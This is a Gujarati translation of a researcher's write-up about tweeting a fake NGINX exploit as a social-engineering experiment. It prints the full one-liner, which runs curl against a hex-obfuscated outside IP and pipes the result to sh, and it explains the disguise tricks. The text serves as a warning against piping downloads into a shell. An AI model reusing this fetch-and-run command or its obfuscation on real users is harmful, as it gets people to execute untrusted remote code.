Nginx માટે નકલી શોષણ સાથે સામાજિક પ્રયોગની સફળતા

નૉૅધ. અનુવાદ: લેખક મૂળ નોંધ, 1 જૂનના રોજ પ્રકાશિત, માહિતી સુરક્ષામાં રસ ધરાવતા લોકો વચ્ચે એક પ્રયોગ કરવાનું નક્કી કર્યું. આ કરવા માટે, તેણે વેબ સર્વરમાં અપ્રગટ નબળાઈ માટે નકલી શોષણ તૈયાર કર્યું અને તેને તેના ટ્વિટર પર પોસ્ટ કર્યું. તેમની ધારણાઓ - કોડમાં સ્પષ્ટ છેતરપિંડી જોનારા નિષ્ણાતો દ્વારા તરત જ ખુલ્લી પાડવાની - એટલું જ નહીં સાચું પડ્યું ન હતું... તેઓ બધી અપેક્ષાઓ કરતાં વધી ગયા, અને વિરુદ્ધ દિશામાં: ટ્વીટને અસંખ્ય લોકોનો ભારે ટેકો મળ્યો જેણે તેની સામગ્રી તપાસો.

TL;DR: કોઈપણ સંજોગોમાં sh અથવા bash માં ફાઇલ પાઇપલાઇનિંગનો ઉપયોગ કરશો નહીં. તમારા કમ્પ્યુટર પરનું નિયંત્રણ ગુમાવવાની આ એક સરસ રીત છે.

હું તમારી સાથે 31મી મેના રોજ બનાવવામાં આવેલ કોમિક PoC શોષણ વિશેની ટૂંકી વાર્તા શેર કરવા માંગુ છું. ના સમાચારોના જવાબમાં તે તરત જ દેખાયો એલિસા એસેજ શેવચેન્કો, સભ્ય ઝીરો ડે પહેલ (ZDI), કે NGINX માં નબળાઈ વિશેની માહિતી જે RCE (રિમોટ કોડ એક્ઝિક્યુશન) તરફ દોરી જાય છે તે ટૂંક સમયમાં જાહેર કરવામાં આવશે. NGINX ઘણી વેબસાઇટ્સને પાવર કરે છે, તેથી સમાચાર બોમ્બશેલ હોવા જોઈએ. પરંતુ "જવાબદારીપૂર્ણ જાહેરાત" પ્રક્રિયામાં વિલંબને કારણે, શું થયું તેની વિગતો જાણી શકાઈ નથી - આ પ્રમાણભૂત ZDI પ્રક્રિયા છે.

ટ્વીટ NGINX માં નબળાઈ જાહેરાત વિશે

કર્લમાં નવી અસ્પષ્ટતા ટેકનિક પર કામ કરવાનું સમાપ્ત કર્યા પછી, મેં મૂળ ટ્વીટને ટાંક્યું અને "એક વર્કિંગ પીઓસી લીક કર્યું" જેમાં કોડની એક લીટીનો સમાવેશ થાય છે જે શોધાયેલ નબળાઈનું શોષણ કરે છે. અલબત્ત, આ સંપૂર્ણ નોનસેન્સ હતી. મેં ધાર્યું હતું કે હું તરત જ ખુલ્લા થઈ જઈશ, અને શ્રેષ્ઠ રીતે મને બે રિટ્વીટ મળશે (ઓહ સારું).

ટ્વીટ નકલી શોષણ સાથે

જો કે, પછી શું થયું તેની હું કલ્પના કરી શકતો નથી. મારા ટ્વિટની લોકપ્રિયતા આસમાને પહોંચી ગઈ છે. આશ્ચર્યજનક રીતે, આ ક્ષણે (15:00 મોસ્કો સમય જૂન 1) થોડા લોકોને સમજાયું છે કે આ નકલી છે. ઘણા લોકો તેને બિલકુલ તપાસ્યા વિના રીટ્વીટ કરે છે (તેના સુંદર ASCII ગ્રાફિક્સની પ્રશંસા કરવા દો).

જરા જુઓ કે તે કેટલું સુંદર છે!

જ્યારે આ તમામ લૂપ્સ અને રંગો મહાન છે, તે સ્પષ્ટ છે કે લોકોએ તેમને જોવા માટે તેમના મશીન પર કોડ ચલાવવાનો હતો. સદભાગ્યે, બ્રાઉઝર્સ એ જ રીતે કાર્ય કરે છે, અને એ હકીકત સાથે કે હું ખરેખર કાનૂની મુશ્કેલીમાં આવવા માંગતો ન હતો, મારી સાઇટમાં દફનાવવામાં આવેલ કોડ કોઈપણ વધારાના કોડને ઇન્સ્ટોલ અથવા એક્ઝિક્યુટ કરવાનો પ્રયાસ કર્યા વિના માત્ર ઇકો કૉલ કરી રહ્યો હતો.

નાનું વિષયાંતર: નેટસ્પૂકી, dnz, હું અને ટીમના અન્ય લોકો ઠગ ટોળું અમે થોડા સમય માટે કર્લ આદેશોને અસ્પષ્ટ કરવા માટે વિવિધ રીતો સાથે રમી રહ્યા છીએ કારણ કે તે સરસ છે... અને અમે ગીક્સ છીએ. netspooky અને dnz એ ઘણી નવી પદ્ધતિઓ શોધી કાઢી છે જે મને અત્યંત આશાસ્પદ લાગતી હતી. હું આનંદમાં જોડાયો અને યુક્તિઓની બેગમાં IP દશાંશ રૂપાંતરણ ઉમેરવાનો પ્રયાસ કર્યો. તે તારણ આપે છે કે IP ને હેક્સાડેસિમલ ફોર્મેટમાં પણ રૂપાંતરિત કરી શકાય છે. તદુપરાંત, કર્લ અને મોટાભાગના અન્ય NIX ટૂલ્સ હેક્સાડેસિમલ IP ને ખુશીથી ખાય છે! તેથી તે માત્ર એક વિશ્વાસપાત્ર અને સુરક્ષિત દેખાતી કમાન્ડ લાઇન બનાવવાની બાબત હતી. આખરે મેં આના પર સમાધાન કર્યું:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

સામાજિક-ઇલેક્ટ્રોનિક એન્જિનિયરિંગ (SEE) - માત્ર ફિશિંગ કરતાં વધુ

સલામતી અને પરિચિતતા આ પ્રયોગનો મુખ્ય ભાગ હતો. મને લાગે છે કે તેઓ જ તેમની સફળતા તરફ દોરી ગયા. આદેશ વાક્ય સ્પષ્ટપણે "127.0.0.1" (જાણીતા લોકલહોસ્ટ) નો ઉલ્લેખ કરીને સુરક્ષાને સૂચિત કરે છે. લોકલહોસ્ટ સુરક્ષિત માનવામાં આવે છે અને તેના પરનો ડેટા તમારા કમ્પ્યુટરને ક્યારેય છોડતો નથી.

પરિચય એ પ્રયોગનો બીજો મુખ્ય SEE ઘટક હતો. લક્ષ્ય પ્રેક્ષકોમાં મુખ્યત્વે કોમ્પ્યુટર સુરક્ષાની મૂળભૂત બાબતોથી પરિચિત લોકોનો સમાવેશ થતો હોવાથી, કોડ બનાવવો મહત્વપૂર્ણ હતો જેથી તેના ભાગો પરિચિત અને પરિચિત લાગે (અને તેથી સલામત). જૂના શોષણની વિભાવનાઓના તત્વો ઉછીના લેવા અને તેમને અસામાન્ય રીતે જોડવાનું ખૂબ જ સફળ સાબિત થયું છે.

નીચે વન-લાઇનરનું વિગતવાર વિશ્લેષણ છે. આ સૂચિમાંની દરેક વસ્તુ પહેરે છે કોસ્મેટિક પ્રકૃતિ, અને તેની વાસ્તવિક કામગીરી માટે વ્યવહારીક રીતે કંઈપણ જરૂરી નથી.

કયા ઘટકો ખરેખર જરૂરી છે? આ -gsS, -O 0x0238f06a, |sh અને વેબ સર્વર પોતે. વેબ સર્વરમાં કોઈ દૂષિત સૂચનાઓ નથી, પરંતુ આદેશોનો ઉપયોગ કરીને ફક્ત ASCII ગ્રાફિક્સ સેવા આપે છે echo માં સમાયેલ સ્ક્રિપ્ટમાં index.html. જ્યારે વપરાશકર્તાએ સાથે લાઇન દાખલ કરી |sh વચ્ચે, index.html લોડ અને ચલાવવામાં આવે છે. સદનસીબે, વેબ સર્વરના કસ્ટોડિયનનો કોઈ ખરાબ ઈરાદો નહોતો.

• ../../../%00 — નિર્દેશિકાની બહાર જઈને રજૂ કરે છે;
• ngx_stream_module.so — રેન્ડમ NGINX મોડ્યુલનો માર્ગ;
• /bin/sh%00<'protocol:TCP' - અમે માનવામાં આવે છે લોન્ચ કરી રહ્યા છીએ /bin/sh લક્ષ્ય મશીન પર અને આઉટપુટને TCP ચેનલ પર રીડાયરેક્ટ કરો;
• -O 0x0238f06a#PLToffset - ગુપ્ત ઘટક, પૂરક #PLToffset, PLT માં સમાયેલ મેમરી ઓફસેટ જેવો દેખાવ;
• |sh; - બીજો મહત્વપૂર્ણ ભાગ. પર સ્થિત હુમલાખોર વેબ સર્વરમાંથી આવતા કોડને એક્ઝિક્યુટ કરવા માટે અમને આઉટપુટને sh/bash પર રીડાયરેક્ટ કરવાની જરૂર છે. 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - એક ડમી જેમાં નેટકેટનો ઉલ્લેખ થાય છે /dev/tcp/localhostજેથી બધું ફરીથી સુરક્ષિત દેખાય. હકીકતમાં, તે કંઈ કરતું નથી અને સુંદરતા માટે લાઇનમાં શામેલ છે.

આ એક-લાઇન સ્ક્રિપ્ટના ડીકોડિંગ અને "સામાજિક-ઇલેક્ટ્રોનિક એન્જિનિયરિંગ" (જટિલ ફિશિંગ) ના પાસાઓની ચર્ચાને સમાપ્ત કરે છે.

વેબ સર્વર કન્ફિગરેશન અને કાઉન્ટરમેઝર્સ

મારા મોટાભાગના સબ્સ્ક્રાઇબર્સ ઇન્ફોસેક/હેકર્સ હોવાથી, મેં વેબ સર્વરને તેમના તરફથી "રુચિ" ના અભિવ્યક્તિઓ માટે થોડું વધુ પ્રતિરોધક બનાવવાનું નક્કી કર્યું, જેથી છોકરાઓ પાસે કંઈક કરવાનું હોય (અને તે આનંદદાયક હશે. સ્થાપના). હું અહીં તમામ ક્ષતિઓને સૂચિબદ્ધ કરવાનો નથી કારણ કે પ્રયોગ હજી ચાલુ છે, પરંતુ અહીં કેટલીક બાબતો છે જે સર્વર કરે છે:

• અમુક સામાજિક નેટવર્ક્સ પર વિતરણના પ્રયાસોનું સક્રિયપણે નિરીક્ષણ કરે છે અને વપરાશકર્તાને લિંક પર ક્લિક કરવા માટે પ્રોત્સાહિત કરવા માટે વિવિધ પૂર્વાવલોકન થંબનેલ્સને બદલે છે.
• શેલ સ્ક્રિપ્ટ બતાવવાને બદલે Chrome/Mozilla/Safari/etc ને Thugcrowd પ્રમોશનલ વિડિયો પર રીડાયરેક્ટ કરે છે.
• ઘૂસણખોરી/નિષ્ક્રિય હેકિંગના સ્પષ્ટ સંકેતો માટે જુએ છે, અને પછી NSA સર્વર્સ પર વિનંતીઓ રીડાયરેક્ટ કરવાનું શરૂ કરે છે (ha!).
• એક ટ્રોજન, તેમજ BIOS રૂટકિટ, બધા કમ્પ્યુટર્સ પર ઇન્સ્ટોલ કરે છે કે જેના વપરાશકર્તાઓ નિયમિત બ્રાઉઝરથી હોસ્ટની મુલાકાત લે છે (માત્ર મજાક કરી રહ્યા છે!).

એન્ટિમરનો એક નાનો ભાગ

આ કિસ્સામાં, મારો એકમાત્ર ધ્યેય અપાચેની કેટલીક વિશેષતાઓને માસ્ટર કરવાનો હતો - ખાસ કરીને, વિનંતીઓને રીડાયરેક્ટ કરવા માટેના સરસ નિયમો - અને મેં વિચાર્યું: શા માટે નહીં?

NGINX શોષણ (વાસ્તવિક!)

સબ્સ્ક્રાઇબ કરો @alisaesage Twitter પર અને NGINX માં ખૂબ જ વાસ્તવિક નબળાઈઓ અને શોષણને સંબોધવામાં ZDI ના મહાન કાર્યને અનુસરો. તેમનું કાર્ય હંમેશા મને આકર્ષિત કરે છે અને મારા મૂર્ખ ટ્વીટના કારણે તમામ ઉલ્લેખો અને સૂચનાઓ સાથેની ધીરજ બદલ હું એલિસનો આભારી છું. સદનસીબે, તેણે થોડું સારું કર્યું: તેણે NGINX નબળાઈઓ, તેમજ કર્લના દુરુપયોગને કારણે થતી સમસ્યાઓ વિશે જાગૃતિ વધારવામાં મદદ કરી.

સોર્સ: www.habr.com